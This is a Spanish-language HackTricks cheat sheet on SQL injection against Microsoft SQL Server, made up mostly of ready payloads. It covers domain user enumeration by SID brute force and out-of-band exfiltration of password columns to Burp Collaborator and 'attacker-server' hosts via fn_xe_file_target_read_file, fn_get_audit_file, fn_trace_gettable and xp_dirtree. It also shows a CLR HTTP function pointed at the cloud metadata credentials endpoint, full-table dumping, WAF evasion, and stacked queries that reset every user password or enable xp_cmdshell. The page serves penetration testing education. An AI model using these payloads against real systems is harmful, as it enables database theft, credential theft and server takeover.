hacktricks/pentesting-web/sql-injection/mssql-injection.md

255 lines
15 KiB
Markdown

# Inyección MSSQL
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Enumeración de Active Directory
Puede ser posible **enumerar usuarios de dominio a través de inyección SQL dentro de un servidor MSSQL** utilizando las siguientes funciones de MSSQL:
* **`SELECT DEFAULT_DOMAIN()`**: Obtén el nombre del dominio actual.
* **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: Si conoces el nombre del dominio (_DOMAIN_ en este ejemplo), esta función devolverá el **SID del usuario Administrador** en formato hexadecimal. Esto se verá como `0x01050000000[...]0000f401`, nota cómo los **últimos 4 bytes** son el número **500** en formato **big endian**, que es el **ID común del usuario administrador**.\
Esta función te permitirá **conocer el ID del dominio** (todos los bytes excepto los últimos 4).
* **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Esta función devolverá el **nombre de usuario del ID indicado** (si existe), en este caso **0000e803** en big endian == **1000** (usualmente este es el ID del primer ID de usuario regular creado). Entonces puedes imaginar que puedes forzar bruscamente los IDs de usuario desde 1000 hasta 2000 y probablemente obtener todos los nombres de usuario de los usuarios del dominio. Por ejemplo, utilizando una función como la siguiente:
```python
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
```
## **Vectores alternativos basados en errores**
Las inyecciones SQL basadas en errores suelen parecerse a construcciones como `+AND+1=@@version--` y variantes basadas en el operador «OR». Las consultas que contienen tales expresiones generalmente son bloqueadas por los WAFs. Como método de evasión, concatena una cadena utilizando el carácter %2b con el resultado de llamadas a funciones específicas que desencadenan un error de conversión de tipo de datos en los datos buscados.
Algunos ejemplos de dichas funciones:
* `SUSER_NAME()`
* `USER_NAME()`
* `PERMISSIONS()`
* `DB_NAME()`
* `FILE_NAME()`
* `TYPE_NAME()`
* `COL_NAME()`
Ejemplo de uso de la función `USER_NAME()`:
```
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
```
## SSRF
### `fn_xe_file_target_read_file`
```
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/3.png)
**Permisos:** Requiere permiso **`VIEW SERVER STATE`** en el servidor.
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';
```
### `fn_get_audit_file`
```
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/2.png)
**Permisos:** Requiere el permiso **`CONTROL SERVER`**.
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';
```
### `fn_trace_gettable`
```
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/1.png)
**Permisos:** Requiere el permiso **`CONTROL SERVER`**.
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';
```
### `xp_dirtree`, `xp_fileexists`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>
El método más común para realizar una llamada de red que encontrará utilizando MSSQL es el uso del Procedimiento Almacenado `xp_dirtree`, que curiosamente no está documentado por Microsoft, lo que provocó que fuera [documentado por otras personas en Internet](https://www.baronsoftware.com/Blog/sql-stored-procedures-get-folder-files/). Este método se ha utilizado en [múltiples ejemplos](https://www.notsosecure.com/oob-exploitation-cheatsheet/) de publicaciones sobre [Exfiltración de Datos Fuera de Banda](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/) en Internet.
Esencialmente,
```sql
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"');
```
Al igual que `LOAD_FILE` de MySQL, puedes usar `xp_dirtree` para hacer una solicitud de red **solo al puerto TCP 445**. No puedes controlar el número de puerto, pero puedes leer información de recursos compartidos de red.
**PS:** Esto no funciona en `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` ejecutándose en un `Windows Server 2016 Datacenter` en la configuración predeterminada.
Hay **otros** procedimientos almacenados \*\*\*\* [**como `master..xp_fileexist`**](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx) o **`xp_subdirs`** que se pueden usar para obtener resultados similares.
### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a>
Obviamente, también podrías usar **`xp_cmdshell`** para **ejecutar** algo que desencadene un **SSRF**. Para más información **lee la sección relevante** en la página:
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %}
[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
{% endcontent-ref %}
### MSSQL Función Definida por el Usuario - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
Es bastante sencillo escribir una **CLR UDF** (Función Definida por el Usuario del Common Language Runtime - código escrito con cualquiera de los lenguajes **.NET** y compilado en un **DLL**) y **cargarla dentro de MSSQL para funciones personalizadas**. Sin embargo, **requiere acceso `dbo`** por lo que puede no funcionar a menos que la conexión de la aplicación web a la base de datos **sea como `sa` o con un rol de Administrador**.
[Este repositorio de Github tiene el proyecto de Visual Studio y las instrucciones de instalación](https://github.com/infiniteloopltd/SQLHttp) para cargar el binario en MSSQL como un ensamblado CLR y luego invocar solicitudes HTTP GET desde dentro de MSSQL.
El código `http.cs` utiliza la clase `WebClient` para realizar una solicitud GET y obtener el contenido como se especifica
```csharp
using System.Data.SqlTypes;
using System.Net;
public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString (html);
}
}
```
En las instrucciones de instalación, ejecute lo siguiente antes de la consulta `CREATE ASSEMBLY` para agregar el hash SHA512 del ensamblado a la lista de ensamblados confiables en el servidor (puede ver la lista utilizando `select * from sys.trusted_assemblies;`)
```sql
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
```
Una vez agregada la asamblea y creada la función, podemos ejecutar lo siguiente para realizar nuestras solicitudes HTTP
```sql
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
```
## **Explotación rápida: Recuperar una tabla completa en una consulta**
Existen dos maneras sencillas de recuperar el contenido completo de una tabla en una consulta — el uso de la cláusula FOR XML o la cláusula FOR JSON. La cláusula FOR XML requiere un modo especificado como «raw», por lo que en términos de brevedad FOR JSON la supera.
La consulta para recuperar el esquema, las tablas y las columnas de la base de datos actual:
```
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/5.png)
Los vectores basados en errores necesitan un alias o un nombre, ya que la salida de expresiones sin ninguno de los dos no puede formatearse como JSON.
```
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/7.png)
## **Recuperando la consulta actual**
La consulta SQL actual que se está ejecutando se puede recuperar accediendo a `sys.dm_exec_requests` y `sys.dm_exec_sql_text`:
```
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/9.png)
**Permisos:** Si el usuario tiene permiso VIEW SERVER STATE en el servidor, el usuario verá todas las sesiones en ejecución en la instancia de SQL Server; de lo contrario, el usuario solo verá la sesión actual.
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
```
## **Pequeños trucos para eludir WAF**
Caracteres de espacio en blanco no estándar: %C2%85 или %C2%A0:
```
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
```
Notación científica (0e) y hexadecimal (0x) para ofuscar UNION:
```
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
```
Un punto en lugar de un espacio en blanco entre FROM y el nombre de una columna:
```
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
```
Separador \N entre SELECT y una columna de relleno:
```
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
```
### Evasión de WAF con consultas apiladas no ortodoxas
Según [**este artículo de blog**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) es posible apilar consultas en MSSQL sin usar ";":
<figure><img src="../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
Entonces, por ejemplo, múltiples consultas tales como:
```sql
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]
```
Puede reducirse a:
```sql
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
```
Por lo tanto, podría ser posible eludir diferentes WAFs que no consideran esta forma de apilar consultas. Por ejemplo:
```
# Adding a useless exec() at the end and making the WAF think this isn't a valid querie
admina'union select 1,'admin','testtest123'exec('select 1')--
## This will be:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'
# Using weirdly built queries
admin'exec('update[users]set[password]=''a''')--
## This will be:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'
# Or enabling xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## This will be
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
```
## Referencias
* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
* [https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>